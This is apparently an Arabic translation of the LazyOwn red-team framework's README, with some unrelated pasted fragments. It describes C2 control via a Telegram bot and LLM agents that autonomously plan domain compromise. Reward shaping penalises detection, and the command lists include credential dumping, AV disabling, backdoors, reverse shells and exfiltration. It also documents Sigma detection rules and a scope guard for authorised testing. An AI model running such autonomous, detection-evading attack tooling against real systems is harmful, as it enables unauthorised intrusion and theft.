| `/sitrep` | تقرير حالة الحملة الكامل |
| `/config [key] [val]` | عرض أو تعيين قيم payload.json |
| `/addcli <client_id>` | تعيين عميل C2 النشط |
| `/clients` | سرد غرسات C2 المتصلة |
| `/c2 <command>` | إرسال أمر إلى منارة C2 |
| `/agent <goal>` | تشغيل وكيل Groq/Ollama المستقل |
| `/delegate <goal>` | تفويض المهمة إلى وكيل Hermes الفرعي |
| `/cron <schedule> <cmd>` | جدولة أوامر LazyOwn المتكررة |
| `/status` | عرض حالة الخادم والحالة المستقلة |
| `/stop` | إيقاف أي خادم مستقل قيد التشغيل |
| `/download <file>` | تنزيل الملفات من sessions/ |
| رفع مستند | رفع الملفات إلى منارة C2 |
أي رسالة نصية عادية لا تبدأ بـ `/` تُعامل كأمر LazyOwn مباشر. يتم فرض تحديد المعدل (5 أوامر/دقيقة) ومهلات الجلسة (30 دقيقة).
### البنية المعمارية
يستخدم البوت نفس تنفيذ الأوامر القائم على PTY كما في خادم MCP (`skills/lazyown_mcp.py`)، لذا يعمل كل أمر LazyOwn واسم مستعار وإضافة دون استيرادات Python مباشرة. تُنشئ المهام المستقلة (`/agent`، `/delegate`) وكلاء Groq أو Ollama عبر LazyOwn shell، وتستخدم أوامر C2 (`/c2`، `/clients`) نقاط النهاية الموثقة `/api/command` و `/get_connected_clients`.
---
## بنية الذكاء الاصطناعي المتقدمة (MoE + RL + SWAN + Hive Mind)
يدمج LazyOwn حزمة ذكاء اصطناعي متعددة الوكلاء بمستوى عالمي تتكيف وتتحسن عبر كل مشاركة:
### مزيج الخبراء (MoE) — `modules/moe_router.py`
يتم تسجيل خمسة خبراء LLM بعلامات القدرات والأوزان الأساسية وفئات التكلفة:
| الخبير | الواجهة الخلفية | نقاط القوة |
|--------|---------|-----------|
| `groq_fast` | Groq llama-3.1-8b-instant | الاستطلاع، التعداد، القرارات السريعة |
| `groq_powerful` | Groq llama-3.3-70b-versatile | الاستغلال، ما بعد الاستغلال، التفكير المعقد |
| `groq_deepseek_r1` | Groq deepseek-r1-distill-llama-70b | تصعيد الصلاحيات، التفكير خطوة بخطوة |
| `ollama_reason` | Ollama deepseek-r1:1.5b | دون اتصال، آمن للخصوصية، تحليل مفصل |
| `groq_gemma` | Groq gemma2-9b-it | الحركة الجانبية، تحليل بيانات الاعتماد |
يستخدم التوجيه softmax مُقاس بدرجة الحرارة (`T = max(0.5, 1.5/(1+calls/50))`) على الأوزان المعدلة. تتعدل الأوزان ذاتيًا عبر المتوسط المتحرك الأسي لمكافأة كل خبير بمرور الوقت.
### التعلم المعزز من النماذج (RLM) — `modules/rl_trainer.py`
يدرب التعلم Q الجدولي سياسة التوجيه عبر جلسات المشاركة:```
State: (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw| (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]
المعاملات الفائقة: α=0.10، γ=0.90، ε_start=0.20، ε_min=0.05، ε_decay=0.995. يتلاشى استكشاف epsilon-greedy مع كل تحديث. تستمر قيم Q في sessions/expert_qvalues.json عبر الجلسات.
skills/swan_agent.pyطبقة التكامل العليا تربط MoE + RL + Detection Oracle + Hive Memory:
swan_run: تنفيذ خبير واحد مع توجيه موجّه بـ RL وتحديث Q بعد التنفيذswan_ensemble: N من الخبراء بالتوازي عبر ThreadPoolExecutor، يتم تجميعهم بواسطة WeightedTextAggregatorOutcomeEvaluator: المكافأة = 0 عندما يكون احتمال الكشف ≥ 70% (تشكيل المكافأة الواعي بالكشف)modules/detection_oracle.pyيتنبأ باحتمال الكشف قبل التنفيذ باستخدام 17 قاعدة Sigma-lite تغطي: الوصول إلى بيانات الاعتماد (LSASS، SAM، DCSync)، الحركة الجانبية (PsExec، WMI، evil-winrm)، تصعيد الامتيازات (انتحال الرموز المميزة، الأنابيب المسماة)، الاستغلال، الاستطلاع، C2، والقوة الغاشمة.
تجميع الاحتمالات: P(detect) = 1 - ∏(1 - P_i) عبر جميع القواعد المُفعّلة.
modules/auto_purple.pyحلقة قياس آلية بين الأحمر والأزرق تنفذ الإجراءات الهجومية، وتستعلم من LazyOwnBT للكشف، وتغذي النتائج مرة أخرى إلى Detection Oracle للمعايرة.```bash (LazyOwn) > purple_exec nmap -sV 10.10.11.5 recon # execute + detect (LazyOwn) > purple_score # show detection rates (LazyOwn) > purple_report # export CSV + JSON (LazyOwn) > purple_dashboard # Textual TUI
**طرق الكشف:**
| الطريقة | ما تتحقق منه |
|--------|----------------|
| `ai_test` | تنبؤ نموذج LazyOwnBT ML |
| `proc_scan` | أسماء العمليات المشبوهة |
| `net_scan` | الاتصالات/المنافذ غير المعتادة |
| `log_analyze` | شذوذ المصادقة/syslog |
| `fim_scan` | تغييرات سلامة الملفات |
| `redteam_hunt` | أنماط صيد التهديدات |
| `sigma_rules` | 10 قواعد Sigma (mimikatz، reverse shell، privesc، nmap، webshell، /etc/shadow، cron، SMB، exfil، injection) |
**محرك كشف قواعد Sigma** (LazyOwnBT `lazyownbt/detection.py`):
| المعرّف | القاعدة | المستوى |
|----|------|-------|
| LAZYOWN-001 | Mimikatz Credential Dump | critical |
| LAZYOWN-002 | Reverse Shell Pattern | critical |
| LAZYOWN-003 | Privilege Escalation via Sudo | high |
| LAZYOWN-004 | Nmap Scan Detected | medium |
| LAZYOWN-005 | Webshell Execution | critical |
| LAZYOWN-006 | Process Injection | high |
| LAZYOWN-007 | /etc/shadow Access | critical |
| LAZYOWN-008 | Cron Persistence | high |
| LAZYOWN-009 | Lateral Movement SMB | high |
| LAZYOWN-010 | Data Exfiltration | high |
**ملفات الإخراج:**
- `sessions/purple_dataset.csv` — مجموعة بيانات تدريب ML
- `sessions/purple_audit.jsonl` — سجل التدقيق الكامل
- `sessions/detection_feedback.jsonl` — معايرة الأوراكل
**ملاحظة:** للاستخدام في بيئة الإنتاج، قم بالتكامل مع SIEM حقيقي (Wazuh، Elastic SIEM، Splunk) عبر إعادة توجيه سجلات auditd. قواعد Sigma المدمجة مخصصة للاختبار دون اتصال فقط.
### Hive Mind — `skills/hive_mind.py`
بنية متعددة الوكلاء queen+drone مع ذاكرة مشتركة:
- **QueenBrain** (Claude): تنسيق عالي المستوى + ConsensusProtocol للإجراءات عالية المخاطر
- **DronePool** (Groq/Ollama): تنفيذ متوازٍ لمهام recon/exploit/cred/lateral/privesc
- **HiveMemory**: تخزين ChromaDB الدلالي + SQLite العرضي + Parquet طويل الأمد
- **EpisodeReflectionEngine**: استخلاص الدروس بعد الحملة مخزّن كـ `sessions/campaign_lessons.jsonl`
### Autonomous Campaign Intelligence (ACI) — `skills/aci_planner.py`
**أول إطار عمل C2 يخطط وينفذ ويتعلم بشكل مستقل.**
ACI يسد الفجوة بين هدف engagement باللغة الطبيعية وحلقة تنفيذ
مستقلة بالكامل. لا يوجد منافس (Cobalt Strike، Sliver، Havoc،
Metasploit) يقوم بذلك من البداية إلى النهاية:```
Operator: "Compromise the domain controller at corp.internal
starting from a phishing foothold on 10.10.11.5"
↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
recon → exploit → exec → privesc → cred → lateral → report
↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
feeds back into the next engagement
ثلاث أدوات MCP:
| الأداة | ما الذي تفعله |
|---|---|
lazyown_aci_plan | تفكيك هدف → خطة ATT&CK → حقن الأهداف |
lazyown_aci_status | تفصيل مباشر للمراحل، نسبة الإنجاز %، توصية بإعادة التخطيط |
lazyown_aci_replan | فرض إعادة تخطيط تكيفية عند التعطل؛ توليد الدروس تلقائيًا |
بدء سريع:```python
lazyown_aci_plan( goal="Compromise the DC at corp.internal", target="10.10.11.5", scope=["10.10.11.0/24"], domain="corp.internal", os_hint="windows", )
lazyown_auto_loop(target="10.10.11.5", max_steps=20)
lazyown_aci_status()
lazyown_aci_replan(reason="Kerberoasting blocked by AV, try AS-REP roasting")
**ما الذي يجعل ACI فريدًا مقارنةً بالأدوات الأخرى:**
- Cobalt Strike / Sliver / Havoc هي أطر C2 — حيث يخطط المشغّل كل خطوة
- Metasploit لديه أتمتة ولكن بدون ذكاء
- CALDERA يحاكي إجراءات ATT&CK الثابتة لكنه لا يستطيع التكيّف مع البيئات الجديدة
- **ACI يخطط، وينفّذ، ويعيد التخطيط، ويتعلّم — بشكل مستمر، عبر المهام**
**الاستمرارية:**
| الملف | المحتويات |
|------|----------|
| `sessions/aci_plan.json` | الخطة النشطة: المراحل، الأهداف، حالة الإنجاز |
| `sessions/aci_history.jsonl` | الخطط المؤرشفة المكتملة/المتروكة |
| `sessions/campaign_lessons.jsonl` | الدروس المستخلصة بواسطة ACIReflector |
**استخدام CLI (مستقل):**```bash
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect
skills/autonomous_daemon.pyأربعة أدوار asyncio في عملية واحدة — لا حاجة إلى Claude بين الخطوات:``` Role 1 — ObjectiveLoop : watches objectives.jsonl, takes + executes Role 2 — ExecutionEngine : 6-layer cascade per step, RL Q-table feedback Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback Role 3 — WorldModelWatcher : graph centrality + pivot candidate tracking Role 4 — DroneCoordinator : hive drone spawning on recon/cred/service findings
تفعيل SWAN في الخدمة الخلفية: `export AUTO_USE_SWAN=1` قبل البدء.
تغذية ACI إلى الخدمة الخلفية: الأهداف التي يحقنها `lazyown_aci_plan` يتم التقاطها
تلقائيًا بواسطة الدور 1 (ObjectiveLoop) — دون الحاجة إلى أي إعداد إضافي.
### الاستدلال القائم على الرسم البياني — `modules/world_model.py`
يتتبع NetworkGraph جميع العلاقات المكتشفة (المضيفين، الخدمات، بيانات الاعتماد، مسارات الثقة) ويحسب مركزية الدرجة المُعيارية لإبراز مرشحي المحاور. يتم حقن أفضل 3 مرشحين في كل استدعاء لـ `to_context_string()`، مما يضمن أن الحلقة المستقلة تعرف دائمًا أهداف الحركة الجانبية الأعلى قيمة.
## حارس نطاق التصريح
إطار عمل للفريق الأحمر يقرأ هدفه من `payload.json` له حافة حادة:
`rhost` شارد يطلق أوامر هجومية على مضيف غير مصرح به. حارس النطاق
هو شبكة الأمان. كل أمر تفاعلي يمر عبر نقطة اختناق واحدة
تتحقق من الهدف النشط مقابل نطاق التصريح المعتمد لديك قبل
تنفيذ الأمر.```bash
(LazyOwn) > scope add 10.10.11.0/24 # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce # off | warn (default) | enforce
(LazyOwn) > scope # show current scope and posture
off،
لذا لا تتأثر الحملات الحالية حتى تقوم بالتفعيل. أي خطأ داخلي
يسمح بالأمر بدلًا من حظر المشغّل.warn يعلّق على الأوامر الهجومية خارج النطاق؛ enforce يحظرها
بانتظار تأكيد صريح (ويرفض في الجلسات غير التفاعلية).do_* الهجومية الجديدة تُصنّف تلقائيًا.payload.json (scope, scope_enforcement)؛ المنطق الصرف يعيش في
cli/scope_guard.py مع صفر ارتباط بالـ shell.تُعلن التبعيات مرة واحدة في pyproject.toml (مصدر واحد للحقيقة) و
مثبّتة لعمليات تثبيت قابلة للتكرار:
requirements.txt — قفل النواة عبر المنصات (بدون حزم CUDA).requirements-ml.txt — اختياري، حزمة ML الثقيلة (torch/CUDA، scikit-learn).install.sh يعمل تحت الوضع الصارم وهو idempotent. التثبيت الافتراضي
خفيف؛ فعّل الإضافات مع --with-ml (حزمة ML بحجم 2 GB)، --with-ollama
(بيئة LLM محلية) و --with-tools (الملفات التنفيذية الخارجية الشائعة).pip install -e .[ml,dev].Ctrl+K)، تلميحات تفاعلية مضمّنة بعد كل أمر، ولوحة تحكم Textual TUI.yara_marketplace (10 قواعد مدمجة: برامج الفدية، C2، webshells، التشويش، رفع الصلاحيات)، nuclei_marketplace (أكثر من 500 قالب)، marketplace للإضافات/الملحقات المجتمعية — كلها قابلة للتصفح عبر curses TUI.auto_pwn يمشي عبر مراحل سلسلة القتل تلقائيًا، hunt ينفذ اكتشافًا موجّهًا بناءً على TTPs المعروفة.auto_crypto يشفّر ملفات الجلسة الحساسة عند الخروج ويفك التشفير عند بدء التشغيل (PBKDF2HMAC + Fernet)، بشفافية للمشغّل.dlopen. واجهة datap متوافقة مع المصدر مع عقد BOF الخاص بـ Windows. دعم استدعاءات النظام المباشرة و io_uring.sessions/captured_images.lazynmap.

cron لجدولة المهام وأتمتتها، مما يتيح محاكاة تهديدات مستمرة.

/addons الموجّهة في لوحة تحكم C2 لتأليف تكاملات lazyaddons/*.yaml دون لمس YAML يدويًا. نموذج واحد يعرض كل خيار إضافة (الاسم، الوصف، المؤلف، الإصدار، التمكين، نظام التشغيل المستهدف، خدمات التشغيل، الفئة، نوع الوحدة، نوع التثبيت، المعاملات، كتلة الأداة، إضافات C2، متغيرات البيئة) مع تلميحات وأماكن حجز ومساعدة لكل حقل. شرائح العناصر النائبة ({rhost}، {url}، المعاملات المعلنة، وكل مفتاح payload.json) قابلة للسحب والإفلات في صناديق الأوامر. التحقق من جانب الخادم يرفض الأسماء غير الآمنة، اجتياز المسار، العناصر النائبة غير المعروفة، وعناوين URL المشوّهة قبل كتابة الملف؛ الكتابات ذرية وآمنة (ملف مؤقت يُنشأ بأذونات مقيّدة عبر mkstemp + fchmod، يُفرّغ ويُزامن، ثم يُرقّى بـ os.replace). صفحات القائمة ومعاينة YAML تكمل دورة الحياة. كل مسار معدّل محمي بـ CSRF. العقد: lazyc2/addon_creator.py + lazyc2/blueprints/addons.py، مغطى بـ tests/test_addon_creator.py وبوابة الطفرة tests/run_mutation_addon_creator.py..pdfx) وتضمّن أيقونات مخصصة عبر rsrc لهندسة اجتماعية مقنعة.
modules/killchain.py يحسب المرحلة؛ كل واجهة (CLI /killchain،
/api/killchain، C2 /api/data+/api/dashboard، لوحة GUI2) تعرض
snapshot() الخاصة بها./api/beacon_results/<client_id>،
مدعوم بـ modules/beacon_history.py (JSONL، آمن للمسار)./killchain auto on|off|N تحديث تلقائي مباشر؛ الأعلام
killchain_auto_every / killchain_auto_on_phase_change.تصفح وابحث وثبّت من TUI سوق موحّد:
yara_marketplace list|search|install|info -- 10 قواعد مدمجة (برامج الفدية، C2، webshells، التشويش، رفع الصلاحيات)nuclei_marketplace list|search|install|info -- أكثر من 500 قالب من ~/nuclei-templatesmarketplace list|search|install|update -- 137 إضافة YAML، 57 ملحقًا، 69 أداةauto_pwn -- مشي ذاتي لسلسلة القتل من الاستطلاع إلى الاستغلالhunt -- استطلاع مدفوع بالتهديدات: يربط TTPs المعروفة بالخدمات المكتشفةتشفير جلسة شفاف عند الخروج / فك التشفير عند بدء التشغيل عبر PBKDF2HMAC + Fernet.
7 ملفات تعريف APT: Azure Graph API، CICD Poisoning، Entra Connect، macOS TCC، OAuth Token Theft، SCCM/MECM، VDI Breakout.
chainmode on يبدأ تدفق تسلسل مدفوع بنموذج عالمي: بعد كل أمر
يقدم الـ shell خطوات تالية مرتّبة (Enter = الاقتراح الأعلى، 1..N = بديل
مرتّب، أي أمر = تجاوز، skip = يدوي، ESC/Ctrl+C/off =
مغادرة). الاختيارات غير الصالحة تعيد المطالبة بدلًا من التخطي بصمت، والتدفق
يتوقف تلقائيًا بعد max_steps من الأوامر المتسلسلة. الحالة تستمر في
sessions/chain_mode.json (كتابات ذرية). العقد: cli/chain_mode.py +
cli/command_chain.py.
[0, 99]، أبدًا 100% غير صادقة)، السبب، والمصدر. العقد:
cli/reactive_hints.py + cli/recommendation_signals.py.cli/tips_engine.py.cli/noise_verbs.py هو المصدر الوحيد للحقيقة لقوائم الأفعال غير القابلة للتنفيذ
المشتركة بين التلميحات والنصائح ووضع السلسلة.core/api_authz.py الآن ينفذ نافذة
السماح للتدوير الموثّقة، وينسخ الأذونات من المفتاح المدوّر (تم إصلاح
الانحدار)، ويعيد JSON 401/403 (آمن مع TRAP_HTTP_EXCEPTIONS)، ونقطة نهاية
C2 /api/health/tenant مفروضة فعليًا. بوابة الطفرة:
tests/run_mutation_api_authz.py (7/7 مقتولة).core/logging.py install_json_handler يحافظ على المعالجات الموجودة
مسبقًا وهو idempotent.بدائيات أمان مركزية في core/hardening.py مع 48 اختبارًا بأسلوب BDD
(tests/test_security_hardening_v3.py). شغّلها بـ:```bash
pytest tests/test_security_hardening.py tests/test_security_hardening_v2.py tests/test_security_hardening_v3.py -v
mutmut run # 122/228 killed, 53.5% kill rate on core/hardening.py
**الإصلاحات الرئيسية المطبقة:**
- تم إزالة `shell=True` من `anti_forensics.py`، `pivoting.py`، `icmp_server.py`، `resource_script.py`، `command_executor.py`، `postexp_migrated.py` (22 حالة)
- تم إزالة `os.system()` من `persist_migrated.py`، `cloud.py`، `lazyown.py` (4 حالات)، `misc_migrated.py`
- تم إزالة `os.popen()` من `websocket_beacon.py`، `evasive_payload.py`
- تم استبدال `sshpass -p` بـ `sshpass -e` + متغير بيئة عبر 4 ملفات (C2، lateral، exfil، persist)
- تمت إزالة مفتاح التشفير المُضمَّن من `phishing_orchestrator.py` (ENCRYPTION_KEY إلزامي)
- تم إصلاح XSS في لافتة C2 باستخدام `html.escape()`
- تم إصلاح حقن الأوامر عبر rhost في الحافظة باستخدام `safe_clipboard_copy()`
- تمت إعادة تسمية `CMD_ATTR_HELP_CATEGORY` في cmd2 إلى `COMMAND_ATTR_HELP_CATEGORY` (توافق مع cmd2 4.2.2)
---
## قدرات الأوامر
يوفر LazyOwn 741 أمرًا عبر 13 مرحلة من مراحل سلسلة القتل، متاحة من كلٍّ من واجهة سطر الأوامر ولوحة تحكم C2 على الويب:
| المرحلة | الأوامر البارزة |
|-------|-------------------|
| Recon | `lazynmap`، `ping`، `whatweb`، `gobuster`، `ffuf`، `dig`، `dnsenum`، `finalrecon` |
| Enum | `enum4linux`، `cme`، `bloodhound`، `nuclei`، `kerbrute`، `ldapdomaindump` |
| Exploit | `auto_pwn`، `hunt`، `ss` (searchsploit)، `venom`، `lazymsfvenom`، `searchhash` |
| Post-Exploit | `linpeas`، `winpeas`، `blacksandbeacon`، `mimikatzpy`، `disableav` |
| Persistence | `persist`، `backdoor`، `cron`، `schtask`، `createwebshell` |
| PrivEsc | `getcap`، `sudo`، `adcs_check`، `privesc_predictor` |
| Cred Access | `secretsdump`، `evil`، `getnpusers`، `hashcat`، `john`، `spraykatz` |
| Lateral | `psexec`، `wmiexec`، `ssh_cmd`، `chisel`، `ligolo`، `bloodhound` |
| Exfil | `exfil`، `upload_gofile`، `encrypt`/`decrypt`، `compressdir` |
| C2 | `lazyc2`، `blacksandbeacon`، `createrevshell`، `listener_go` |
| Reporting | `report`، `lazyreport`، `campaign_sitrep`، `timeline`، `dashboard` |
| AI/Agents | `auto_loop`، `recommend_next`، `playbook_generate`، `playbook_run`، `orchestrate` |
| Marketplace | `yara_marketplace`، `nuclei_marketplace`، `marketplace`، `lab` |
الإدارة الأساسية: `assign`، `show`، `doctor`، `wizard`، `scope`، `collab_join`، `config_banner`، `palette`، `fz`.
راجع [`COMMANDS.md`](https://github.com/grisuno/lazyown/blob/main/COMMANDS.md) للحصول على المرجع الكامل للأوامر البالغ 606 أمرًا، و[`ESSENTIALS.md`](https://github.com/grisuno/lazyown/blob/main/ESSENTIALS.md) للأوامر الـ 18 التي تغطي 80% من المهام.
# توسيع LazyOwnShell باستخدام إضافات Lua
يوضح هذا المستند كيفية استخدام برمجة Lua النصية لتوسيع وظائف تطبيق `LazyOwnShell`، المبني على إطار عمل `cmd2` في Python. تتيح لك Lua كتابة إضافات مخصصة يمكنها إضافة أوامر جديدة، أو تعديل السلوك الحالي، أو الوصول إلى بيانات التطبيق.

---
## جدول المحتويات
1. [مقدمة](#introduction)
2. [إعداد إضافات Lua](#setting-up-lua-plugins)
3. [كتابة إضافات Lua](#writing-lua-plugins)
4. [تسجيل أوامر جديدة](#registering-new-commands)
5. [الوصول إلى بيانات التطبيق](#accessing-application-data)
6. [معالجة الأخطاء](#error-handling)
7. [إضافات نموذجية](#example-plugins)
8. [أفضل الممارسات](#best-practices)
---
## 1. مقدمة
يدعم تطبيق `LazyOwnShell` برمجة Lua النصية للسماح للمستخدمين بتوسيع وظائفه دون تعديل كود Python الأساسي. تُخزَّن نصوص Lua (الإضافات) في دليل `plugins/` وتُحمَّل تلقائيًا عند بدء تشغيل التطبيق.
يمكن لإضافات Lua:
- إضافة أوامر جديدة إلى الصدفة.
- تعديل الأوامر أو السلوكيات الحالية.
- الوصول إلى بيانات التطبيق التي يكشف عنها Python والتلاعب بها.
---
## 2. إعداد إضافات Lua
لاستخدام إضافات Lua، تأكد من الآتي:
1. ثبّت مكتبة `lupa` في بيئة Python الخاصة بك: ```bash
pip install lupa
plugins/
init_plugins.lua
hello.lua
goodbye.lua
عند بدء تشغيل التطبيق، سيقوم بتنفيذ init_plugins.lua، الذي يحمّل جميع ملفات .lua الأخرى في دليل plugins/.
بنية إضافة Lua ```lua -- Define a function for the new command function my_command(arg) -- Your logic here print("This is a new command: " .. (arg or "default")) end
-- Register the function as a command
register_command("my_command", my_command)
الدوال الأساسية
- register_command(command_name, lua_function):
- يسجّل أمرًا جديدًا في الصدفة.
- command_name: اسم الأمر (مثل hello).
- lua_function: دالة Lua التي تُنفَّذ عند استدعاء الأمر.
3. تسجيل أوامر جديدة
لإضافة أمر جديد إلى الصدفة، اتبع الخطوات التالية:
- عرّف دالة Lua تنفّذ منطق الأمر.
- استخدم register_command لتسجيل الدالة كأمر.
- مثال: إضافة أمر hello
- أنشئ ملف plugins/hello.lua بالمحتوى التالي: ```lua
function hello(arg)
local name = arg or "world"
print("Hello, " .. name .. "!")
end
register_command("hello", hello)
الآن، يمكنك تشغيل أمر hello في الصدفة:
bash hello Lua Hello, Lua!
4. أفضل الممارسات
من خلال الاستفادة من برمجة Lua، يمكنك توسيع وظائف LazyOwnShell دون تعديل كود Python الأساسي. يتيح ذلك مرونة وتخصيصًا أكبر، مما يمكّن المستخدمين من كتابة إضافاتهم الخاصة لتلبية احتياجات محددة. برمجة سعيدة!
لم يكن توسيع قدرات إطار LazyOwn RedTeam بهذه السهولة من قبل، حتى لغير المبرمجين، بفضل نظام LazyAddons الذي يسمح بتوسيع الوظائف باستخدام ملفات YAML.
إنشاء أوامر تصريحية من خلال ملفات تكوين YAML.
lazyaddons/ ├── addon1.yaml ├── addon2.yaml └── example.yaml
name: "shortname" # CLI command (do_shortname) enabled: true description: "Tool description for help system"
tool: name: "Full Tool Name" repo_url: "https://github.com/user/repo" install_path: "tools/toolname" execute_command: "python tool.py -u {url}"
التكوين المتقدم```yaml
params:
- name: "url"
required: true
description: "Target URL"
default: "http://localhost"
- name: "threads"
required: false
default: 4
الميزات التثبيت التلقائي يتم استنساخ الأدوات من Git عند فقدانها:```bash git clone <repo_url> <install_path>
استبدال المعاملات
يستبدل {param} في الأوامر بقيم من:
- وسائط الأوامر
- القيم الافتراضية
- self.params
- تكامل المساعدة
help <command> يعرض وصف YAML.
القالب```yaml
name: ""
enabled: true
description: ""
tool:
name: ""
repo_url: ""
install_path: ""
install_command: "" # Optional
execute_command: ""
params:
- name: ""
required: true/false
default: ""
description: ""
▶️ الاستخدام ضع ملفات YAML في lazyaddons/
ابدأ تطبيق CLI الخاص بك
نفّذ الأوامر المسجّلة:```bash (Cmd) help your_command (Cmd) your_command -args
🚨 استكشاف الأخطاء وإصلاحها
المعلمات المفقودة: تحقق من الحقول المطلوبة في YAML
فشل التثبيت: تحقق من الوصول إلى الشبكة/git
أخطاء الأوامر: تحقق من صحة صيغة execute_command
الميزات الرئيسية:
- Markdown نظيف بأسلوب GitHub
- يركز فقط على إضافات YAML
- يتضمن قوالب جاهزة للاستخدام
- يوثق نظام استبدال المعلمات
- يوفر نصائح لاستكشاف الأخطاء وإصلاحها
هل تريد مني إضافة أي أمثلة محددة أو سيناريوهات استخدام؟

LazyOwn على Reddit
أحدث ثورة في اختبار الاختراق الخاص بك مع LazyOwn: أتمتة التسلل إلى ضحايا Linux وMAC OSX وWindows
<https://www.reddit.com/r/LazyOwn/>
<https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a>
اكتشف LazyOwn، الحل الأمثل لأتمتة سير عمل اختبار الاختراق لمهاجمة أنظمة Linux وMacOSX وWindows. تبسط أداتنا القوية اختبار الاختراق، مما يجعله أكثر كفاءة وفعالية. شاهد هذا الفيديو لمعرفة كيف يمكن لـ LazyOwn تبسيط تقييماتك الأمنية وتعزيز مجموعة أدوات الأمن السيبراني الخاصة بك.```sh
LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...
LazyOwn مثالي لمتخصصي الأمن السيبراني الذين يبحثون عن حل مركزي ومؤتمت لاحتياجاتهم في اختبار الاختراق، مما يوفر الوقت ويعزز الكفاءة في تحديد واستغلال الثغرات الأمنية.

Python 3.x
وحدات Python:
subprocess (مضمّن في المكتبة القياسية لـ Python)
platform (مضمّن في المكتبة القياسية لـ Python)
tkinter (اختياري لواجهة المستخدم الرسومية)
numpy (اختياري لواجهة المستخدم الرسومية)
2. قم بتثبيت تبعيات Python:```sh
./install.sh
```sh
./run or ./fast_run_as_r00t.sh
./run --help [;,;] LazyOwn vvvrelease/0.2.8 Usage: ./run [Options] Options: --help Show this help panel. -v Show version. -p <payloadN.json> Exec with different payload.json example. ./run -p payload1.json, (Special for RedTeams) -c Exec a command using LazyOwn example: ping --no-banner No Banner -s Run as root --old-banner Show old Banner
./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)
## التثبيت
```bash
pip install -r requirements.txt
python3 main.py -h
python3 main.py -f proxies.txt -t 100 -o working.txt
| الخيار | الوصف |
|---|---|
-f | ملف يحتوي على قائمة الوكلاء |
-t | عدد الخيوط (الافتراضي: 50) |
-o | ملف الإخراج للوكلاء العاملين |
-u | عنوان URL للاختبار (الافتراضي: http://httpbin.org/ip) |
-timeout | مهلة الاتصال بالثواني (الافتراضي: 10) |
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.``` Use assign to configure parameters. Use show to display the current parameter values. Use run <script_name> to execute a script with the set parameters. Use exit to exit the CLI.
Once the shell is running, you can use the following commands:
list: Lists all LazyOwn Modules. assign : Sets the value of a parameter. For example, assign rhost 192.168.1.1. show: Displays the current values of all parameters. run
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env) └╼ $ help
Reconnaissance
──────────────────
alterx finalrecon ping trace
apache_users getcap ports trufflehog
binarycheck gospider proxy tshark_analyze
cve graudit recon waybackmachine
dig httprobe serveralive2 whatweb
dnschef ipinfo sherlock windapsearchscrapeusers
dnsenum launchpad sslscan
dnsmap metabigor tcpdump_capture
dnstool_py openssl_sclient tcpdump_icmp
Scanning & Enumeration
──────────────────────────
ad_ldap_enum enum4linux_ng nbtscan rpcdump wpscan
allin evil_ssdp net_rpc_addmem rpcmap_py
amass feroxbuster netexec samrdump
arjun finger_user_enum netview sawks
arpscan fuzz nikto sessionssh
batchnmap getnpusers nmapscript skipfish
bbot gobuster nuclei smbattack
blazy hound odat smbclient
bloodhound kerbrute openredirex smbclient_impacket
breacher lazynmap osmedeus smbclient_py
certipy ldapdomaindump parsero smbmap
certipy_ad ldapsearch parth smtpuserenum
changeme lookupsid portdiscover snmpcheck
cme lookupsid_py portservicediscover snmpwalk
davtest loxs pre2k swaks
dirsearch lynis pykerbrute vscan
dmitry magicrecon rdp_check_py wfuzz
enum4linux mqtt_check_py rpcclient windapsearch
Exploitation
────────────────
aclpwn_py gettgtpkinit_py psexec sqlmap
addspn_py greatSCT psexec_py sqsh
autoblody img2cookie py3ttyup ss
cacti_exploit jwt_tool pyautomate sshexploit
commix krbrelayx_py pyoracle2 template_helper_serializer
cp kusa pywhisker ticketer
createcookie lazypwn rejetto_hfs_exec unicode_WAFbypass
createdll lfi rev upload_bypass
digdug lol seo utf
download_exploit ms08_067_netapi sharpshooter winbase64payload
downloader ntpdate shellfire wrapper
eternal owneredit shellshock www
excelntdonut padbuster sireprat xss
filtering powerserver sqli xsstrike
gets4uticket_py printerbug_py sqli_mssql_test
Post-Exploitation
─────────────────────
add2find exe2bin pezorsh
adversary exe2donutbin pip_proxy
adversary_yaml extract_yaml pip_repo
aes_pe find powershell_cmd_stager
ai_playbook follina rmfromfind
apt_proxy hex2shellcode rubeus
apt_repo internet_proxy scavenger
atomic_lazyown issue_command_to_c2 scp
bin2shellcode lazywebshell service_ssh
convert_remcomsvc_from_file mimikatzpy sessionsshstrace
cports msfshellcoder shellcode
create_synthetic ofuscate_string shellcode2elf
createpayload ofuscatesh shellcode2sylk
d3monizedshell ofuscatorps1 shellcode_search
disableav path2hex ssh_cmd
Persistence
───────────────
asprevbase64 ftp msfpc setoolKits
backdoor_factory generate_revshell paranoid_meterpreter ssh
conptyshell grisun0 pwncat toctoc
createrevshell grisun0w pwncatcs veil
createwebshell ivy rdp weevely
createwinrevshell knokknok revwin weevelygen
darkarmour listener_go scarecrow
dr0p1t listener_py service
Privilege Escalation ──────────────────────── responder smbserver
Credential Access
─────────────────────
addusers cred john2hash rocky
adsso_spray creds_py john2keepas searchhash
cewl crunch john2zip smalldic
